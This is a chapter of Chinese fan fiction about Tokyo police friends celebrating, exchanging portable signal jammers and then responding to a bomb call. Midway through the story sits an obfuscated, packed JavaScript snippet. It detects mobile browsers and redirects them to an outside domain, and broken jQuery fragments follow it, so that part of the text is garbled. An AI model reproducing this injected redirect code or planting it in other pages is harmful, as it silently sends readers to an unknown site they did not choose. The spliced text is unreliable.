“干杯!”三个玻璃制的杯子分开,中森遥把酒杯递到唇边,一饮而尽。


    “你明天不是还要上班吗?”萩原研二拿起手机看了眼日期,是11月5日,如果他没记错的话,明天是他和阵平酱休假,面前这位公安的大忙人还得上班。


    所以被这家伙约出来喝酒的萩原研二很是疑惑,这么忙的人居然愿意接受第二天忍着宿醉的头痛去工作也要喝酒吗?


    他记得这家伙也不是酒鬼啊。


    萩原研二看向好友,因为每天中午都有一起吃饭,他一开始还没注意到,现在他突然发现好友有了些变化。


    可能是刚入职不适应高强度的工作,所以把自己搞得很狼狈,但一段时间过后的现在,大概是适应了,黑发重新变得柔顺,面上恢复了容光焕发,虽然还有些黑眼圈,但是蓝紫色的眼睛炯炯有神,依然帅气逼人。


    萩原研二像一个大家长一样看着中森遥,目光中带着吾家有儿初长成的欣慰。


    “是啊。”中森遥苦恼地点点头。


    正常来说他是不会在第二天要上班的情况下还喝酒的,但是前段时间他们课刚刚发现了一个雅库扎组织有严重危害社会的行为,课里制订计划预计剿灭组织,前几天行动组传来消息说计划成功,只剩下一些后续的报告和资料。


    身为后勤且手头上的团体危险性较小的文职人员中森遥自然而然被叫去写那些繁复冗余的资料了。


    大概的工作内容就是查找有关那个雅库扎组织的资料并整合,包括但不限于这个雅库扎组织的成立时间和主要营生什么的,昨天他们这些文职人员才把一切信息整理好,连同行动组的报告一起送入档案室封存。


    因为中森遥听吉川前辈说,公安一课一般解决了一件大事后,后续几天的工作量会相对少一点,给精神高度集中了一段时间的警察们一点喘息的机会,免得精神崩溃。


    而且,因为雅库扎的事情,前段时间他一直很忙,本来要好好庆祝松田阵平和萩原研二晋升为拥有自己小队的小队长的,结果就拖到现在了。


    既然明天没什么事情的话,那还是早点把庆祝的事情提上日程吧。


    而且…


    中森遥掏了掏兜,拿出两个小东西,分别递给松田阵平和萩原研二,“博士最新研制的信号屏蔽器。”


    也是在昨天,阿笠博士喜悦至极地给他发消息,说他最初设想的那种便携式信号屏蔽器已经做出来了,并且也试验成功了,但是昨天中森遥还忙着赶资料,所以就拜托阿笠博士有空送到警视厅来给他。


    这位仁慈和善的博士先生非常乐意做这种事,知道中森遥今天没有那么忙之后就马不停蹄送过来了。


    这也是中森遥非要今天和两位在□□处理班任职的同期们约见的原因之一,本来最开始他想做这个东西因为身在警视厅工作的舅舅,以及他的伯父和爷爷,身为财团的掌权者,他们身边其实都没有那么安全,都是有可能接触到炸弹的,他已  经因为炸弹失去一位亲人了,不,准确来说是两位,所以他不想再因为炸弹失去别的亲人了,也许信号屏蔽器没用,但有总比没有好,至少可以让他安心一点。


    那是他找博士研究信号屏蔽器的初衷,而且现在,他的挚友们在随时可能面对炸弹的□□处理班工作,他们时时刻刻面临炸弹的威胁,所以中森遥一刻也等不了,必须马上把信号屏蔽器给到他们手上。


    看着手里小巧可爱的信号屏蔽器,它的身长不足十公分,宽度大约两公分,看起来就很方便携带,萩原研二心里是满满的感动。


    其实在阿笠博士家的时候,他和松田阵平已经隐隐发觉博士可能在做一些信号类的仪器,后来知道了中森遥的母亲曾经  因为炸弹殉职之后,他们已经大概猜到了中森遥请博士做的东西,说实话当时他们就有一种迟早会收到的预感了。


    但是当这个东西真的被他送出来,让萩原研二握在手里的时候,还是有一种很欣喜的感觉。


    小小的信号屏蔽器承载着巨大浓厚的关心和担忧,无时不刻不在提醒他:你的命很重很重,不要轻飘飘地丢掉了。


    “我还真没想过有一天会收到自己做的信号屏蔽器诶。”松田阵平一手撑着脸,歪着脑袋,另一手拿着信号屏蔽器,把它对着暖黄的灯光,仔细欣赏,“做得还真是完美啊。”


    本来打算说些应景的感动话的萩原研二一哑,一腔情绪泄了又泄,无奈地看向自卖自夸的幼驯染。


    “确实很完美啊,”中森遥深以为然地点点头,“这是目前能够做到的最好的屏蔽器了吧,博士可是很努力地在平衡大小和功效啊。”


    “是这样没错,”作为阿笠博士的得力助手,松田阵平对这个控制器几乎了若指掌,“市面上那些东西,或许可以算上 军用的,和它一样大的功效没有它好,功效比它好又比它大多了,说起来,我前段时间去的时候,博士不是已经试验得差不多了吗?怎么今天才给你?”


    松田阵平还挺了解博士的发明进度的,他不解地看向中森遥。


    “那个啊,博士说他试验完发现还有个地方可以加个放大器,所以改进过了才拿给我的。”阿笠博士有时候会跟中森遥  汇报研究进度,所以中森遥是知道情况的。


    “放大器吗?”松田阵平摸着下巴,问道,“那现在范围是多大?我记得之前好像是十二米左右吧。”


    “博士是说极限有十五米,但是是在没有任何阻碍的情况下,有墙体什么的那些障碍物的时候它的屏蔽范围肯定是会大打折扣的。”


    “那也很不错了啊。”萩原研二看着手里的小家伙,一边震惊于阿笠博士的发明才能,一边收进裤兜里,紧紧摁住,  “我就笑纳啦~”


    松田阵平也好好地收起来。


    “记得用啊。”中森遥提醒这俩容易丢命的好友。


    “知道啦!”萩原研二摆手,松田阵平点头。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059552|179103||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中森遥举起杯子,分别和他俩碰。


    好在第二天确实没有什么事情,中森遥锤了锤带着宿醉头痛的脑袋,坐在位置上发呆,实在是太痛苦了,他并不打算给 自己增加工作量,今天随机挑选个人监督得了。


    一天的放空和一晚上的沉眠后,中森遥睁开眼睛,他感到非常的舒适,前一天隐隐的头痛和疲惫一扫而空,整个人轻快极了。


    但本该是充满能量活力满满的一天,不知怎的,中森遥眼皮狂跳,踏入警视厅时甚至出现了一阵没由来的心悸。


    他很慌张,但无厘头。


    有一种无从下手的无力感,他真的不知道该干什么。


    想到那些在警视厅工作的家人和朋友,他才定下心。


    端起手边的水杯润润唇,中森遥拿出手机,挨个打电话。


    “喂,舅舅,你今天如果出外勤注意安全啊…”


    “…阵平,今天要是有行动的话一定要记得带那个屏蔽器啊…”


    “…研二你一定要先打开啊,就按一下按钮又不费事…拜托了一定要开起来啊…”


    也许这种行为有些小题大做了,但是中森遥不敢赌。


    因为上一次这么心悸,是他从梦魇中挣脱出来的时候,没等他喘口气,电话响起,那是他最后一次听见母亲的声音。


    再之后,勇者长眠,怯懦者追随。


    他成了孤儿。


    就算是打扰了他们的工作,中森遥也不后悔,他必须这么做,安抚自己跳得像是快要逃脱身体的心。


    中森遥心不在焉地应对今天的工作。


    “刚刚接到通知!神谷镇和吉冈三丁目分别发现了一枚炸弹!”上原湫从位置上噌地站起来,飞快地发布行动命令,  “松田,萩原,你们分别带队前去拆弹,我去跟搜查一课协调疏散群众!”


    “嗨!”刚从卫生间回来的萩原研二在门边喊到,松田阵平飞快地抓起他桌上刚刚因为中森遥特地打电话说起时萩原研二拿出来的信号屏蔽器,然后马不停蹄地往外跑。


    □□处理班的警察们已经被训练出了飞速换衣服的能力,他们很快就换上了相对轻便的保护装备。


    “hagi!”临上车前,萩原研二反手接住松田阵平丢来的东西,伴随着他渐远的声音,“记得用啊!”


    萩原研二快速上车,关上门的瞬间,车子风驰电掣。


    这时候,他才有机会摊开手,看着这沉甸甸的担忧。


    事态紧急,一路上交通科的警察们竭尽全力地指挥车子让道,□□处理班的车很快就到了吉冈三丁目,不等车停稳,  萩原研二跳下来,在当地巡警的带领下飞快跑向炸弹发现地。


    “队长!”有队员提醒他,“您还没有穿防护服!”


    “先把炸弹拆了再说!”被他这么一提醒,萩原研二摁下兜里的信号屏蔽器,但又闷又热又厚重的防护服什么的,他是真的不想穿。